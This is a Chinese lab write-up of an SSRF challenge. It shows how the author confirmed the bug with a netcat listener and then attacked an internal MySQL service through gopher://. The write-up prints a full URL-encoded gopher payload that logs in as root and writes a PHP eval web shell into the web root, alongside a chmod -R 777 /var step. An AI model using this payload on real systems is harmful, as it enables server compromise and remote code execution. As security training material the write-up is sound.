记一次靶场ssrf实战
ssrf
一般情况下,攻击的目标是外网无法访问的内部系统
攻击者利用ssrf可以实现的攻击主要有5种: 1.可以对外网、服务器所在内网、本地进行端口扫描,获取一些服务的banner信息; 2.攻击运行在内网或本地的应用程序(比如溢出); 3.对内网web应用进行指纹识别,通过访问默认文件实现; 4.攻击内外网的web应用,主要是使用get参数就可以实现的攻击(比如struts2,sqli等); 5.利用file协议读取本地文件等。
靶场地址 题目如下:题目给出的信息端口3306为链接mysql的端口
想法1:尝试sql注入看看是否存在漏洞,结果没啥反应
想法2:抓个包看看是什么东西
发现这个奇怪的东西,疑似ssrf,送到repeater,修改u=1%27+or+1%3D2%23&returl=http://www.baidu.com 发现回显为百度的界面,可以初步确定是ssrf 进一步确定的话,就在自己的服务器开启监听端口,nc -lvvp 1000(端口随便开) u=1%27+or+1%3D2%23&returl=自己服务器地址:1000 自己服务器会得到监听信息,如此可进一步确定是ssrf漏洞
又因为给出3306端口,又是ssrf漏洞,去谷歌ssrf mysql 由于自己菜,得膜拜一下大佬的blogs
两个blog: https://coomrade.github.io/2018/10/28/SSRF%E6%94%BB%E5%87%BBMySQL/ https://www.codenong.com/jsa5ceccfa279a/ https://xz.aliyun.com/t/6993
补一波make的基本用法
make是一个Linux下的二进制程序,用来处理Makefile这种文本文件。
用到的工具sec_tools:https://github.com/firebroo/sec_tools
补一补rce
远程命令执行 英文名称:RCE (remote code execution) ,简称RCE漏洞,是指用户通过浏览器提交执行命令,由于服务器端没有针对执行函数做过滤,导致在没有指定绝对路径的情况下就执行命令,可能会允许攻击者通过改变 $PATH 或程序执行环境的其他方面来执行一个恶意构造的代码。
在开过程中遇到这个问题MySQL----ERROR-1698-(28000):-Access-denied-for-user-'root'@'localhost'
解决: 您可以将root用户设置为使用mysql_native_password插件。您可以使用system_user创建一个新的db_user(推荐) $ sudo mysql -u root # I had to use "sudo" since is new installation
1 | mysql> USE mysql; |
补gopher协议在ssrf中的利用
参考链接:https://xz.aliyun.com/t/6993准备好工具开始攻击
步骤:
1、在kali开启mysql服务: sudo service mysql start
2、打开写入文件的权限:chmod -R 777 /var
3、使用命令./sniffer -p3306 监听网卡
4、然后需要本地搭建msyql服务,执行如下命令测试 mysql -u root -h 127.0.0.1
6、执行:select '' INTO OUTFILE '/var/www/html/4.php';
5、得到payload
1 | gopher://127.0.0.1:3306/_%ba%00%00%01%84%a6%9f%20%00%00%00%01%2d%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%07%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%7d%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%0a%6c%69%62%6d%61%72%69%61%64%62%04%5f%70%69%64%04%31%36%39%34%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%05%33%2e%31%2e%35%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%0c%5f%73%65%72%76%65%72%5f%68%6f%73%74%09%31%32%37%2e%30%2e%30%2e%31%21%00%00%00%03%73%65%6c%65%63%74%20%40%40%76%65%72%73%69%6f%6e%5f%63%6f%6d%6d%65%6e%74%20%6c%69%6d%69%74%20%31%48%00%00%00%03%73%65%6c%65%63%74%20%27%3c%3f%70%68%70%20%65%76%61%6c%28%24%5f%50%4f%53%54%5b%70%61%73%73%5d%29%3b%3f%3e%27%20%49%4e%54%4f%20%4f%55%54%46%49%4c%45%20%27%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%34%2e%70%68%70%27 |
6、结果
总结:
1、对确定到底是不是ssrf漏洞挺重要的。因为题目乍一看,感觉是sql漏洞,通过抓包发现疑似ssrf,需要用自己的服务器(vps)检验,确定是什么漏洞很重要! 2、发现自己如果单纯就知道什么是ssrf原理不行,像这道题ssrf+mysql就不单单ssrf原理可以解决的,kali搭建web服务权限、连接的问题,像gopher协议、flie协议都要用到,sec_tools工具的应用,包括其中遇到的各种问题。其实都增长了自己的经验 3、通过这次的ssrf实战,学习了gopher、file协议,怎么确定是否为ssrf,ssrf+mysql、redis的攻击方法,总之是一个不错的实战经验